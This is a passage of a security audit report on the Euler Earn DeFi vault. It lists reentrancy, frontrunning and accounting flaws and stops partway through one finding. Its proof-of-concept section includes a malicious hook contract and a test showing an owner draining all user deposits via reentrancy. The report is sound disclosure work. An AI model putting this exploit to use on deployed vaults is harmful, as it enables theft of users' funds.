Pashov Audit Group

Euler Security Review

July 25th 2025 - July 30th 2025

Contents

1. About Pashov Audit Group

Pashov Audit Group consists of 40+ freelance security researchers, who are well proven in the space - most have earned over $100k in public contest rewards, are multi-time champions or have truly excelled in audits with us. We only work with proven and motivated talent.

With over 300 security audits completed — uncovering and helping patch thousands of vulnerabilities — the group strives to create the absolute very best audit journey possible. While 100% security is never possible to guarantee, we do guarantee you our team's best efforts for your project.

Check out our previous work here or reach out on Twitter @pashovkrum.

2. Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource and expertise bound effort where we try to find as many vulnerabilities as possible. We can not guarantee 100% security after the review or even if the review will find any problems with your smart contracts. Subsequent security reviews, bug bounty programs and on-chain monitoring are strongly recommended.

3. Risk Classification

Severity	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

Impact

- **High** - leads to a significant material loss of assets in the protocol or significantly harms a group of users
- **Medium** - leads to a moderate material loss of assets in the protocol or moderately harms a group of users
- **Low** - leads to a minor material loss of assets in the protocol or harms a small group of users

Likelihood

- **High** - attack path is possible with reasonable assumptions that mimic on-chain conditions, and the cost of the attack is relatively low compared to the amount of funds that can be stolen or lost
- **Medium** - only a conditionally incentivized attack vector, but still relatively likely
- **Low** - has too many or too unlikely assumptions or requires a significant stake by the attacker with little or no incentive

4. About Euler

Euler Earn is a fork of MetaMorpho that allocates deposits across up to 30 accepted ERC-4626 strategies, with changes such as zero-share/zero-asset protection, internal balance tracking to prevent share inflation, and removal of skim, ERC-2612 permit, and multicall functions. Users of EulerEarn are liquidity providers who want to earn from borrowing interest without having to actively manage the risk of their position. Deposits and withdrawals follow allocator-defined queues, with an option to keep funds in non-borrowable vaults for immediate availability.

5. Executive Summary

A time-boxed security review of the **euler-xyz/euler-earn** repository was done by Pashov Audit Group, during which Pashov Audit Group engaged to review **Euler**. A total of **14** issues were uncovered.

Protocol Summary	
Project Name	Euler
Protocol Type	Strategy Allocator
Timeline	July 25th 2025 - July 30th 2025

Review commit hash:
- 12c0220226cdefc8fee2f229c5e75bd656c7b2b5 (euler-xyz/euler-earn)

Fixes review commit hash:
- b95775f4235fe4ea738dde226524d25f317d987c (euler-xyz/euler-earn)

Scope

`EulerEarn` `EulerEarnFactory` `PublicAllocator` `ConstantsLib` `ErrorsLib` `EventsLib` `PendingLib` `SafeERC20Permit2Lib` `UtilsLib` `interfaces/`

6. Findings

Findings count

Severity	Amount
Medium	1
Low	13
Total findings	**14**

Summary of findings

ID	Title	Severity	Status
[M-01]	Share tracking issue between `PublicAllocator` and `EulerEarn` affects reallocations	Medium	**Resolved**
[L-01]	`createEulerEarn()` is vulnerable to frontrunning	Low	Acknowledged
[L-02]	`maxWithdraw()` underestimates assets for the `feeRecipient`	Low	Acknowledged
[L-03]	Not revoking `USDT` approval when `permit2 == address(0)`	Low	**Resolved**
[L-04]	Missing slippage and deadline protection exposes users to pricing risks	Low	Acknowledged
[L-05]	Frontrunning in vault enabling process	Low	Acknowledged
[L-06]	`setFlowCaps()` can be front-run to increase effective cap usage	Low	Acknowledged
[L-07]	Privileged roles accept invalid EVC sub-accounts	Low	Acknowledged
[L-08]	Edge case allows owner to covertly steal assets from users	Low	**Resolved**
[L-09]	Re-adding removed vault assets duplicates accounting in `lastTotalAssets`	Low	Acknowledged
[L-10]	Dust shares prevent immediate strategy vault removal due to inconsistent checks	Low	**Resolved**
[L-11]	Flash loan attack reallocates liquidity to riskier strategy vaults	Low	Acknowledged

ID	Title	Severity	Status
[L-12]	Rounding in `_expectedSupplyAssets()` may exceed `supplyCap`	Low	Acknowledged
[L-13]	Strategy losses can be masked by interest gains from other strategies	Low	Acknowledged

Medium findings

[M-01] Share tracking issue between `PublicAllocator` and `EulerEarn` affects reallocations

Severity

Impact: Medium

Likelihood: Medium

Description

The `PublicAllocator::reallocateTo()` function uses real strategy share balances via `id.maxWithdraw(vault)` to calculate available assets, while `EulerEarn::reallocate()` uses internal share tracking via `config[id].balance` for actual operations. This discrepancy creates a serious issue when real share balances differ from the internal tracking of `EulerEarn` (which can happen due to direct share transfers of strategies to the vault).

```
  // PublicAllocator.sol -> uses REAL strategy shares
  uint256 assets = id.maxWithdraw(vault); // Real shares from strategy contract
  allocations[i].assets = assets - withdrawnAssets; // Target allocation based on real shares

  // EulerEarn.sol -> uses INTERNAL share tracking
  uint256 supplyShares = config[id].balance; // Internal tracking
  uint256 supplyAssets = id.previewRedeem(supplyShares); // Based on internal shares
  uint256 withdrawn = supplyAssets.zeroFloorSub(allocation.assets); // Actual withdrawal
calculation
```

As shown better in the PoC below, this vulnerability causes flow caps to be updated based on requested withdrawal amounts, while actual operations process different amounts. Apart from that, allocators in `PublicAllocator` may intend to withdraw a certain amount `x`, but ultimately, the withdrawn amount will be **different**. For this vulnerability to exist, strategy shares must have been transferred directly to the vault. If this happens, all calls to `reallocate()` in `PublicAllocator` will misbehave.

In order to reproduce this vulnerability, paste the following function in `PublicAllocatorTest.sol` and run `forge test --mt testRellocateToBug -vv` :

```
    function testRellocateToBug() public {
        flowCaps.push(FlowCapsConfig(idleVault, FlowCaps(100e18, 100e18)));
        flowCaps.push(FlowCapsConfig(allMarkets[0], FlowCaps(100e18, 100e18)));
        vm.prank(OWNER);
        publicAllocator.setFlowCaps(address(vault), flowCaps);

        // Initial deposit through PublicAllocator (tracked internally)
        withdrawals.push(Withdrawal(idleVault, 50e18));
        publicAllocator.reallocateTo(address(vault), withdrawals, allMarkets[0]);
```

```
        console.log("=== After normal deposit ===");
        uint256 internalShares1 = vault.config(allMarkets[0]).balance;
        uint256 realShares1 = allMarkets[0].balanceOf(address(vault));
        console.log("Internal shares:                  ", internalShares1);
        console.log("Real shares:                      ", realShares1);

        // Mint strategy shares directly and transfer to vault
        // This creates the discrepancy between internal tracking and real balance
        loanToken.setBalance(address(this), 20e18);
        loanToken.approve(address(allMarkets[0]), 20e18);
        uint256 directShares = allMarkets[0].deposit(20e18, address(vault)); // Mint shares
directly to vault

        console.log("\n=== After direct share transfer ===");
        uint256 internalShares2 = vault.config(allMarkets[0]).balance;
        uint256 realShares2 = allMarkets[0].balanceOf(address(vault));
        uint256 realAssets = allMarkets[0].maxWithdraw(address(vault));
        uint256 internalAssets = allMarkets[0].previewRedeem(internalShares2);
        console.log("Internal shares:                  ", internalShares2);
        console.log("Real shares:                      ", realShares2);

        // At this point, we have a share disparency, which seems to not be a problem since
EulerEarn is tracking its shares internally and only this is supposed to be the source of truth
in its calculations. However, if we try to perform a reallocate, we will see the problem.

        // Record flow caps before reallocation to show the issue.
        FlowCaps memory withdrawFlowCapsBefore = publicAllocator.flowCaps(address(vault),
allMarkets[0]);
        FlowCaps memory supplyFlowCapsBefore = publicAllocator.flowCaps(address(vault),
idleVault);

        console.log("\n=== Flow caps BEFORE reallocation ===");
        console.log("Withdraw strategy maxIn:           ", withdrawFlowCapsBefore.maxIn);
        console.log("Withdraw strategy maxOut:          ", withdrawFlowCapsBefore.maxOut);
        console.log("Supply strategy maxIn:             ", supplyFlowCapsBefore.maxIn);
        console.log("Supply strategy maxOut:            ", supplyFlowCapsBefore.maxOut);

        delete withdrawals;
        uint256 requestedWithdraw = 30e18;
        withdrawals.push(Withdrawal(allMarkets[0], uint128(requestedWithdraw)));

        uint256 beforeAssets = allMarkets[0].maxWithdraw(address(vault));

        console.log("\n=== Reallocation ===");
        console.log("Requested withdrawal:              ", requestedWithdraw);
        publicAllocator.reallocateTo(address(vault), withdrawals, idleVault);

        uint256 afterAssets = allMarkets[0].maxWithdraw(address(vault));
        uint256 actualWithdrawn = beforeAssets - afterAssets;
        console.log("Actual withdrawn:                 ", actualWithdrawn);

        // BUG: Allocator wanted to withdraw and deposit `requestedWithdraw` amount, but
eventually `actualWithdrawn` were withdrawn and deposited.
        assertNotEq(actualWithdrawn, requestedWithdraw);

        // Show flow caps corruption
        FlowCaps memory withdrawFlowCapsAfter = publicAllocator.flowCaps(address(vault),
```

```
allMarkets[0]);
        FlowCaps memory supplyFlowCapsAfter = publicAllocator.flowCaps(address(vault),
idleVault);

        console.log("\n=== Flow caps AFTER reallocation ===");
        console.log("Withdraw strategy maxIn:           ", withdrawFlowCapsAfter.maxIn);
        console.log("Withdraw strategy maxOut:          ", withdrawFlowCapsAfter.maxOut);
        console.log("Supply strategy maxIn:             ", supplyFlowCapsAfter.maxIn);
        console.log("Supply strategy maxOut:            ", supplyFlowCapsAfter.maxOut);

        console.log("\n=== Flow caps CHANGES (should match actual withdrawal, but matches
requested) ===");
        console.log("Withdraw maxIn increase:           ", withdrawFlowCapsAfter.maxIn -
withdrawFlowCapsBefore.maxIn);
        console.log("Withdraw maxOut decrease:          ", withdrawFlowCapsBefore.maxOut -
withdrawFlowCapsAfter.maxOut);
        console.log("Supply maxIn decrease:             ", supplyFlowCapsBefore.maxIn -
supplyFlowCapsAfter.maxIn);
        console.log("Supply maxOut increase:            ", supplyFlowCapsAfter.maxOut -
supplyFlowCapsBefore.maxOut);

        uint256 flowCapChange = withdrawFlowCapsAfter.maxIn - withdrawFlowCapsBefore.maxIn;
        console.log("\n=== Bug Demonstration ===");
        console.log("Flow caps updated by:              ", flowCapChange);
        console.log("But actual operation was:          ", actualWithdrawn);
    }
```

Recommendations

In order for this issue to be mitigated, `reallocateTo()` would need to calculate the supplied assets of a vault to a strategy using the `EulerEarn::_expectedSupplyAssets()`. This function, however, is internal, so consider exposing it publicly. Alternatively, retrieve the `config[id].balance` from `EulerEarn` and use it instead of `id.maxWithdraw`.

Option 1: Expose internal function in `EulerEarn.sol`

```
// In EulerEarn.sol -> make internal function public
function expectedSupplyAssets(IERC4626 id) external view returns (uint256) {
    return _expectedSupplyAssets(id);
}

// In PublicAllocator.sol -> use internal tracking instead of real shares
uint256 assets = IEulerEarn(eulerEarn).expectedSupplyAssets(id);
```

Option 2: Use config balance directly in `PublicAllocator.sol`

```
// In PublicAllocator.sol -> use internal balance
uint256 internalShares = IEulerEarn(eulerEarn).config(id).balance;
uint256 assets = id.previewRedeem(internalShares);
```

Low findings

[L-01] `createEulerEarn()` is vulnerable to frontrunning

The `EulerEarnFactory.createEulerEarn()` function deploys a new `EulerEarn` vault using the `CREATE2` opcode with a user-supplied `salt`. However, because the `salt` is arbitrary and not tied to the `msg.sender`, a malicious actor can frontrun the transaction and deploy a contract at the same address first, effectively griefing the original deployer by causing their transaction to revert.

This creates a denial-of-service vector where an attacker can preemptively occupy expected contract addresses and prevent legitimate users from deploying their vaults.

```
function createEulerEarn(
        address initialOwner,
        uint256 initialTimelock,
        address asset,
        string memory name,
        string memory symbol,
        bytes32 salt
    ) external returns (IEulerEarn eulerEarn) {
        eulerEarn = IEulerEarn(
            address(
                new EulerEarn{salt: salt}(
                    initialOwner, address(evc), permit2Address, initialTimelock, asset, name,
symbol
                )
            )
        );

        isVault[address(eulerEarn)] = true;

        vaultList.push(address(eulerEarn));

        emit EventsLib.CreateEulerEarn(
            address(eulerEarn), _msgSender(), initialOwner, initialTimelock, asset, name,
symbol, salt
        );
    }
```

Recommendation:
Consider deriving the salt using both the provided `salt` and the caller's address.

[L-02] `maxWithdraw()` underestimates assets for the `feeRecipient`

The `EulerEarn.maxWithdraw()` function is designed to return the maximum amount of the underlying asset that can be withdrawn from the owner's balance in the vault, through a withdraw call. this function first accrues fees via `_accruedFeeAndAssets()`, then calculates

the withdrawable assets by calling `balanceOf(owner)` and converting the resulting shares to assets. However, if the `owner` is the `feeRecipient`, their unclaimed `feeShares` are not reflected in their balance, leading to an underestimation of the actual amount they can withdraw.

This discrepancy arises because `feeShares` are tracked separately and not included in `balanceOf(feeRecipient)`, even though they represent valid claimable shares.

```
function _maxWithdraw(
     address owner
 )
     internal
     view
     returns (uint256 assets, uint256 newTotalSupply, uint256 newTotalAssets)
 {
     uint256 feeShares;
     (feeShares, newTotalAssets, ) = _accruedFeeAndAssets();
     newTotalSupply = totalSupply() + feeShares;

     assets = _convertToAssetsWithTotals(
         balanceOf(owner),
         newTotalSupply,
         newTotalAssets,
         Math.Rounding.Floor
     );
     assets -= _simulateWithdrawStrategy(assets);
 }
```

Recommendation:
Consider updating the logic to account for `feeShares` when `owner == feeRecipient` by including them in the total shares used for the conversion to assets.

[L-03] Not revoking `USDT` approval when `permit2 == address(0)`

In the `SafeERC20Permit2Lib` library, the `revokeApprovalWithPermit2()` function is responsible for revoking token allowances when a vault's cap is set to zero (typically in preparation for removing a vault, possibly due to misbehavior or compromise).

When `permit2` is `address(0)`, the function attempts to revoke the token allowance as follows:

```
 function revokeApprovalWithPermit2(IERC20 token, address spender, address permit2) internal
{
     if (permit2 == address(0)) {
         try token.approve(spender, 1) {} catch {} //<@audit : allownace not revoked for USDT
     } else {
         IAllowanceTransfer(permit2).approve(address(token), spender, 0, 0);
     }
 }
```

This fallback logic fails silently for tokens like `USDT`, which require setting the allowance to zero before updating it to a non-zero value. As a result, the spender (the to-be-removed strategy vault) still retains an active approval, posing a potential security risk since a compromised vault could exploit this dangling allowance.

Recommendation: Consider using `forceApprove()` to reset the allowance:

```
    function revokeApprovalWithPermit2(IERC20 token, address spender, address permit2) internal
{
        if (permit2 == address(0)) {
-           try token.approve(spender, 1) {} catch {}
+           try SafeERC20.forceApprove(token, spender, 1) {} catch {}
        } else {
            IAllowanceTransfer(permit2).approve(address(token), spender, 0, 0);
        }
    }
```

[L-04] Missing slippage and deadline protection exposes users to pricing risks

The `EulerEarn` contract does not provide users with slippage protection or deadline enforcement in the `deposit()`, `mint()`, `withdraw()`, and `redeem()` functions. These functions interact with multiple ERC4626-compliant strategy vaults, and users' assets may be distributed across or pulled from different strategy vaults based on available capacity.

Key concerns:

- **Slippage risk**: During deposits or mints, assets may be split across multiple strategy vaults with varying share prices. During withdrawals or redemptions, the strategy vaults are accessed in a fixed order, and varying liquidity or share price can cause users to receive fewer shares or assets than expected.
- **No deadline enforcement**: If transactions get stuck in the mempool (e.g., during high network congestion), users may be exposed to more significant price movements before execution, further increasing slippage risks.

This lack of user-defined controls exposes depositors and withdrawers to unfavorable outcomes due to timing and price variations in the underlying vaults.

Recommendation:
Introduce parameters such as `minShares` (`maxShares`) and `minAssets` (`maxAssets`), along with an optional `deadline` field, to allow users to enforce minimum acceptable output and time bounds for their transactions.

[L-05] Frontrunning in vault enabling process

When a curator sets a new cap on a forcefully removed vault (funds not withdrawn), or adds a vault with pre-existing funds, the total assets of the system are increased directly through _setCap() without minting new shares. This can be exploited by a user depositing just before the vault is re-added to gain a larger share of assets and withdraw for immediate profit. Users can extract risk-free profit by front-running vault activation.

```
// In _setCap function when enabling vault
marketConfig.balance = id.balanceOf(address(this)).toUint112();
// Direct asset increase without share dilution
_updateLastTotalAssets(lastTotalAssets + _expectedSupplyAssets(id));
```

[L-06] `setFlowCaps()` can be front-run to increase effective cap usage

The `setFlowCaps()` function in `PublicAllocator` directly sets new `FlowCaps` values. This allows a malicious actor to front-run an update by submitting a `reallocateTo()` that fully uses the existing cap values. Then, once the update is applied, the actor can use the new caps again.

```
function setFlowCaps(address vault, FlowCapsConfig[] calldata config) external
onlyAdminOrVaultOwner(vault) {
    for (uint256 i = 0; i < config.length; i++) {
        IERC4626 id = config[i].id;
        if (!IEulerEarn(vault).config(id).enabled && (config[i].caps.maxIn > 0 ||
config[i].caps.maxOut > 0)) {
            revert ErrorsLib.MarketNotEnabled(id);
        }
        if (config[i].caps.maxIn > MAX_SETTABLE_FLOW_CAP || config[i].caps.maxOut >
MAX_SETTABLE_FLOW_CAP) {
            revert ErrorsLib.MaxSettableFlowCapExceeded();
        }
        flowCaps[vault][id] = config[i].caps;
    }

    emit EventsLib.SetFlowCaps(_msgSender(), vault, config);
}
```

For example, consider the following scenario: the current `maxIn` is 280, and the admin intends to reduce it to 250. An attacker can front-run with a `reallocateTo()` that deposits 280. Then, the admin's `setFlowCaps()` overwrites the state with `maxIn = 250` again. This allows another 250 to be deposited into the strategy. As a result, a total of `280 + 250 = 530` would effectively flow in (which is far more than the admin intended).

To fix this issue, consider not directly assigning the flow caps but instead passing the changes (increases/decreases) as parameters.

[L-07] Privileged roles accept invalid EVC sub-accounts

EulerEarn vaults use the Ethereum Vault Connector (EVC) for authentication, which supports sub-accounts. The EularEarn vault therefore, makes sure to handle cases in which these sub-accounts interact with the vault. These sub-accounts can receive and transfer vault shares, but they are not compatible with underlying asset transfers, as their private keys are unknown.

Additionally, sub-accounts are explicitly blocked from invoking privileged functions gated by most role-based modifiers, such as `onlyAdminOrVaultOwner`, `onlyCuratorRole`, `onlyAllocatorRole`, etc. These modifiers rely on:

```
_authenticateCallerWithStandardContextState(true);
```

This call reverts if the authenticated caller is not the account owner (i.e., if it's a sub-account).

However, when assigning privileged roles (e.g., `setAdmin`, `setCurator`, or even setting the `owner`), no validation is performed. As a result, an EVC sub-account can be assigned a privileged role, but it will later be unable to call the associated functions:

```
function setAdmin(address vault, address newAdmin) external onlyAdminOrVaultOwner(vault) {
    if (admin[vault] == newAdmin) revert ErrorsLib.AlreadySet();
    admin[vault] = newAdmin;
}
```

Interestingly, sub-account vault `owners` can still call functions guarded by the `onlyOwner` modifier, since that modifier uses `_msgSender()`, which directly retrieves the `onBehalfOfAccount` from the EVC without extra validation.

Therefore, the logic for validating privileged roles is inconsistent: a sub-account vault `owner` can call `EulerEarn::setFee` (gated by `onlyOwner`), but can not call `PublicAllocator::setFee` (gated by `onlyAdminOrVaultOwner`).

To avoid assigning unusable privileged accounts, consider adding a check when setting any privileged role to ensure the address is not an EVC sub-account, similar to what's done in `_withdraw`:

```
    address evcOwner = evc.getAccountOwner(candidate);
    if (evcOwner != address(0) && evcOwner != candidate) {
        revert ErrorsLib.InvalidPrivilegedAccount();
    }
```

Additionally, if the current inconsistency regarding the vault `owner`'s abilities is not intended, consider overriding the `onlyOwner` modifier logic to also use the `_authenticateCallerWithStandardContextState(true)` function to explicitly block sub-accounts from calling these functions.

[L-08] Edge case allows owner to covertly steal assets from users

Note: This attack is currently not possible, given that the initial supported strategy vaults compatible with `EulerEarn` will be restricted to `EulerEarn` vaults and EVK vaults. A strategy vault that would allow this exploit to occur could have the same functionality/logic as EVK vaults, however, it would *not* have read-only reentrancy protection (use `nonReentrantView` modifiers on view functions), as this is what is currently blocking this exploit with normal EVK vaults. This report assumes that such vaults could potentially be supported in the future.

Another major pre-condition of this exploit is that a soon-to-be malicious strategy vault is considered a verified strategy by the `perspective` contract. In this scenario, the vault can seem benign, but it will have to mask a malicious hook contract (can make the hook upgradeable or set a malicious hook directly before the attack). This strategy vault could *never* be given the ability to handle user assets and does not need to appear malicious to the `EulerEarn` vault up until the actual exploit, which can be executed in 1 transaction, making this a viable long-tail attack that can lead to a loss of user funds.

Once the above pre-conditions are met, this exploit is possible due to: - `setFee` and `setFeeRecipient` do not have reentrancy protection. - `_withdraw` optimistically updating `lastTotalAssets` before external interactions with strategies.

The setup for this attack can be performed in stealth and can potentially go undetected by users since: - The `malVault` (malicious vault) will virtually always have a 0 cap set (reset to 0 immediately). - The `malVault` will never be added to the supply queue. - The `malVault` will be at the end of the withdrawal queue, and normal users will never interact with it.

Vulnerability Details

Suppose the `feeRecipient` calls `EulerEarn::withdraw`. The `_withdraw` function optimistically updates the `lastTotalAssets` storage variable, with a potentially invalid value, before interacting with strategy vaults:

```
        _updateLastTotalAssets(lastTotalAssets.zeroFloorSub(assets)); // @audit: optimistically
update state as if caller can withdraw all `assets` specified

        _withdrawStrategy(assets); // @audit: then interact with external contracts

        super._withdraw(caller, receiver, owner, assets, shares);
```

After updating `lastTotalAssets`, `EulerEarn` it then calls `withdraw` on the strategy vault:

```
                try id.withdraw(toWithdraw, address(this), address(this)) returns (uint256
withdrawnShares) {
```

If the strategy vault supports hooks, a malicious hook can then reenter `EulerEarn` to call the `setFee` function (hook must assume ownership first). `setFee` will then invoke `_accrueInterest`, which will calculate the interest accrued as the total assets held by trusted strategies minus the prematurely updated `lastTotalAssets`:

```
        uint256 realTotalAssets;
        for (uint256 i; i < withdrawQueue.length; ++i) {
            IERC4626 id = withdrawQueue[i];
            realTotalAssets += _expectedSupplyAssets(id);
        }

        uint256 lastTotalAssetsCached = lastTotalAssets;
        if (realTotalAssets < lastTotalAssetsCached - lostAssets) {
            // If the vault lost some assets (realTotalAssets decreased), lostAssets is
increased.
            newLostAssets = lastTotalAssetsCached - realTotalAssets;
        } else {
            // If it did not, lostAssets stays the same.
            newLostAssets = lostAssets;
        }

        newTotalAssets = realTotalAssets + newLostAssets;
        uint256 totalInterest = newTotalAssets - lastTotalAssetsCached;
```

Since no assets have yet left the strategies, this interest will be inflated, and as a result, fee shares will be minted to the `feeRecipient` (caller for the current `EulerEarn::withdraw` function). This allows the `feeRecipient` to withdrawal excess assets from `EulerEarn` by specifying a withdraw of `x' + y'` assets (which corresponds to `x + y` shares). At the beginning of the transaction they could only have `x` shares, which have claim to `x'` assets, but due to interest being accrued mid execution, the `feeRecipient` will have `x + y` (where `y` == fee shares minted) shares before the transaction ends, which will give them claim to `x' + y'` assets.

The POC attached showcases how the `feeRecipient` can leverage this exploit to drain the `EulerEarn` vault.

Exploit Steps (can skip to Proof Of Concept to observe steps in code) Here are the steps a malicious owner can take to set up the exploit:

1. Upon deployment of EulerEarn, set an initial timelock of 0 to immediately configure strategies.
2. Owner supplies to `malVault` (1 wei of assets) on behalf of EulerEarn, minting shares for EulerEarn.
3. Set valid caps for the trusted vault and set an initial cap of `1 wei` for the `malVault` (`malVault` will be added to the end of the withdraw queue).
   - `malVault` will have a `> 0` internal balance configured due to the shares minted on their behalf in step 1:

```
                marketConfig.enabled = true;
                marketConfig.balance = id.balanceOf(address(this)).toUint112();
```

1. Add trusted strategies to the supply queue.
2. Immediately set the cap of the `malVault` to 0.

At this point, the exploit is staged, and now the owner can perform normal operations, i.e. set a non zero timelock and allocate deposited assets to trusted vaults. The `malVault` is now at the end of the withdraw queue and has 0 cap, and it will remain dormant until the owner decides there are enough assets managed by the vault to initiate the exploit. Before the exploit is initiated, the `malVault` will have its hook contract upgraded to include the malicious logic.

The rest of the exploit can be executed in 1 transaction: 1. Owner sets the `feeRecipient` as themselves and sets a max fee for `EulerEarn` vault. 2. Owner deposits assets into EulerEarn as a fee recipient. 3. Owner transfers ownership to `malVault`'s hook (2 step transfer, so `malVault` hook is pending owner now). 4. Owner calls `updateWithdrawQueue` to move `malVault` to the front of the queue. 5. Owner calls `EulerEarn::withdraw` and specifies all assets in `EulerEarn` vault. This triggers the malicious hook, which will first call `EulerEarn::acceptOwnership` and then `EulerEarn::setFee(0)` to trigger interest accrual.

Proof Of Concept

First, remove logic for `nonReentrantView` modifier in `lib/euler-vault-kit/src/EVault/shared/Base.sol` to simulate a strategy vault that does not provide this protection (note that interest accrual in `EulerEarn` will call `strategyVault::previewRedeem`, which will trigger read-only reentrancy for normal EVK vaults):

```
diff --git a/./lib/euler-vault-kit/src/EVault/shared/Base.sol b/./lib/euler-vault-kit/src/
EVault/shared/Base.sol
index 061d7b1..e72e5f7 100644
--- a/./lib/euler-vault-kit/src/EVault/shared/Base.sol
+++ b/./lib/euler-vault-kit/src/EVault/shared/Base.sol
@@ -59,18 +59,18 @@ abstract contract Base is EVCClient, Cache {
     }

     modifier nonReentrantView() {
-        if (vaultStorage.reentrancyLocked) {
-            address hookTarget = vaultStorage.hookTarget;
-
-            // The hook target is allowed to bypass the RO-reentrancy lock. The hook target can
either be a msg.sender
-            // when the view function is inlined in the EVault.sol or the hook target should be
taken from the trailing
-            // data appended by the delegateToModuleView function used by useView modifier. In
the latter case, it is
-            // safe to consume the trailing data as we know we are inside useView because
msg.sender == address(this)
-            if (msg.sender != hookTarget && !(msg.sender == address(this) &&
ProxyUtils.useViewCaller() == hookTarget))
-            {
```

```
-                revert E_Reentrancy();
-            }
-        }
+        // if (vaultStorage.reentrancyLocked) {
+        //     address hookTarget = vaultStorage.hookTarget;
+        //
+        //     // The hook target is allowed to bypass the RO-reentrancy lock. The hook target
can either be a msg.sender
+        //     // when the view function is inlined in the EVault.sol or the hook target should
be taken from the trailing
+        //     // data appended by the delegateToModuleView function used by useView modifier.
In the latter case, it is
+        //     // safe to consume the trailing data as we know we are inside useView because
msg.sender == address(this)
+        //     if (msg.sender != hookTarget && !(msg.sender == address(this) &&
ProxyUtils.useViewCaller() == hookTarget))
+        //     {
+        //         revert E_Reentrancy();
+        //     }
+        // }
         _;
     }

@@ -150,3 +150,4 @@ abstract contract Base is EVCClient, Cache {
         );
     }
 }
+
```

Second, add the following file to the test suite:

```
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.26;

import {stdError} from "../lib/forge-std/src/StdError.sol";

import {SafeCast} from "../lib/openzeppelin-contracts/contracts/utils/math/SafeCast.sol";
import "./helpers/IntegrationTest.sol";
import {IHookTarget} from "../lib/euler-vault-kit/src/interfaces/IHookTarget.sol";

contract MalHook is IHookTarget {
    IEulerEarn eulerEarn;

    constructor(address _eulerEarn) {
        eulerEarn = IEulerEarn(_eulerEarn);
    }
    function isHookTarget() external view returns (bytes4) {
        return bytes4(0x87439e04);
    }

    function withdraw(uint256, address, address) external {
        // hook accepts ownership for eulerEarn
        eulerEarn.acceptOwnership();

        // hook calls `setFee` on eulerEarn to trigger interest accrual and mint excess shares
to the attacker
        eulerEarn.setFee(0);
```

```
    }
}

contract HookReentrancyTest is IntegrationTest {
    using MathLib for uint256;

    function setUp() public override {
        super.setUp();

        _setCap(allMarkets[0], CAP);
    }

    function test_jcn_steal_assets() public {
        // --- Set Up --- //

        // Set 0 timelock on EulerEarn deployment
        IEulerEarn eulerEarn = eeFactory.createEulerEarn(
            OWNER, 0, address(loanToken), "EulerEarn Vault", "EEV", bytes32(uint256(1))
        );

        vm.startPrank(OWNER);
        eulerEarn.setCurator(CURATOR);
        eulerEarn.setIsAllocator(ALLOCATOR, true);
        eulerEarn.setFeeRecipient(FEE_RECIPIENT);
        vm.stopPrank();

        // soon-to-be malicious vault deployed and verified
        IEVault eVault;
        eVault = IEVault(
            factory.createProxy(address(0), true, abi.encodePacked(address(loanToken),
address(oracle), unitOfAccount))
        );

        // hook for malVault updated to malicious hook
        // Note: this can be done directly before exploit, but doing it here for simplicity of
the test.
        // In real world scenario the hook may not be updated or upgraded to include malicious
logic until
        // the attack is ready to be executed.
        uint32 hookOps = OP_WITHDRAW;
        address malHook = address(new MalHook(address(eulerEarn)));

        eVault.setHookConfig(malHook, hookOps);

        IERC4626 malVault = _toIERC4626(eVault);
        perspective.perspectiveVerify(address(malVault));

        // Supply to malVault on behalf of EulerEarn
        address attacker = OWNER;
        loanToken.mint(attacker, 1);

        vm.startPrank(attacker);
        loanToken.approve(address(malVault), 1);
        malVault.deposit(1, address(eulerEarn));
        vm.stopPrank();

        // Set caps for all strategies (small, negligible cap for  malVault), malVault at end of
withdrawQueue
```

```
        vm.startPrank(CURATOR);
        eulerEarn.submitCap(allMarkets[0], type(uint184).max);
        eulerEarn.submitCap(malVault, 1);
        eulerEarn.acceptCap(allMarkets[0]);
        eulerEarn.acceptCap(malVault);
        vm.stopPrank();

        // Add trusted strategy to supply queue only
        IERC4626[] memory supplyQueue = new IERC4626[](1);
        supplyQueue[0] = allMarkets[0];

        vm.startPrank(ALLOCATOR);
        eulerEarn.setSupplyQueue(supplyQueue);
        vm.stopPrank();

        // Set cap of malVault to 0
        vm.startPrank(CURATOR);
        eulerEarn.submitCap(malVault, 0);
        vm.stopPrank();

        // user deposits into EulerEarn
        uint256 depositAmount = 1000e18;
        address user = address(0x010101);
        loanToken.mint(user, depositAmount);

        vm.startPrank(user);
        loanToken.approve(address(eulerEarn), depositAmount);
        eulerEarn.deposit(depositAmount, user);
        vm.stopPrank();

        // --- Execute Exploit --- //

        // owner sets fee recipient and sets max fee
        vm.startPrank(attacker);
        eulerEarn.setFeeRecipient(attacker);
        eulerEarn.setFee(0.5e18);

        // owner deposits assets into eulerEarn
        loanToken.mint(attacker, depositAmount);
        loanToken.approve(address(eulerEarn), depositAmount);
        eulerEarn.deposit(depositAmount, attacker);

        // owner transfers ownership to malVault's hook
        eulerEarn.transferOwnership(malHook);

        // owner moves malVault to beginning of withdraw queue
        uint256[] memory indexes = new uint256[](2);
        indexes[0] = 1;
        indexes[1] = 0;

        eulerEarn.updateWithdrawQueue(indexes);

        // owner withdraws all assets from EulerEarn
        assertEq(loanToken.balanceOf(attacker), 0); // 0 balance before exploit

        uint256 allAssets = eulerEarn.lastTotalAssets();

        eulerEarn.withdraw(allAssets, attacker, attacker);
```

```
        assertEq(loanToken.balanceOf(attacker), allAssets); // attacker stole all assets from
EulerEarn
        assertGt(eulerEarn.balanceOf(attacker), 0); // attacker still has excess shares
    }
}
```

Recommendations

I recommend placing `nonReentrant` modifiers on `setFee` and `setFeeRecipient` to protect against this edge case.

[L-09] Re-adding removed vault assets duplicates accounting in `lastTotalAssets`

When a strategy vault is removed via emergency removal while it still holds assets (`strategy.balanceOf(address(EulerEarn)) > 0`), these unrecoverable assets are added to the `lostAssets` variable in `_accruedFeeAndAssets()`:

```
 function _accruedFeeAndAssets()
        internal
        view
        returns (uint256 feeShares, uint256 newTotalAssets, uint256 newLostAssets)
    {
        // The assets that the Earn vault has on the strategy vaults.
        uint256 realTotalAssets;
        for (uint256 i; i < withdrawQueue.length; ++i) {
            IERC4626 id = withdrawQueue[i];
            realTotalAssets += _expectedSupplyAssets(id);
        }

        uint256 lastTotalAssetsCached = lastTotalAssets;
        if (realTotalAssets < lastTotalAssetsCached - lostAssets) {
            // If the vault lost some assets (realTotalAssets decreased), lostAssets is
increased.
            newLostAssets = lastTotalAssetsCached - realTotalAssets;
        } else {
            // If it did not, lostAssets stays the same.
            newLostAssets = lostAssets;
        }
